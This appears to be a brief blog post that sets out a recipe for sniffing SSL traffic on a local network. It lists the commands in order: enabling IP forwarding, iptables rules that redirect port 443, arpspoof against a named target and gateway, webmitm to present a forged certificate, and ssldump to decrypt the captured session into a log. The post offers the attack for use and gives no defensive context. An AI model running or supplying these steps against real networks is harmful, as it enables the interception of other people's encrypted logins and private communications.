SSLDump, Webmitm and Arpspoof the trio SSL sniffing

Transport Layer Security (TLS) and its predecessor, Secure Sockets Layer (SSL), are cryptographic protocols that provide secure communications on the Internet for such things as web browsing, e-mail, Internet faxing, instant messaging and other data transfers. There are slight differences between SSL and TLS, but they are substantially the same

Sniffing SSL ? this from remote-exploit.org. it very simple and clear .only playing with iptables , arpspoofing , webmitm and get it using ssldump.

echo 1 > /proc/sys/net/ipv4/ip_forward

iptables -t nat -A PREROUTING -p tcp –dport 443 -j REDIRECT

iptables -A FORWARD -j ACCEPT

arpspoof -t <target> <gateway>

webmitm -d

./ssldump -n -d -k webmitm.crt | tee ssldump.log

~fin

No Comments Yet

No comments yet.

Comments RSS TrackBack Identifier URI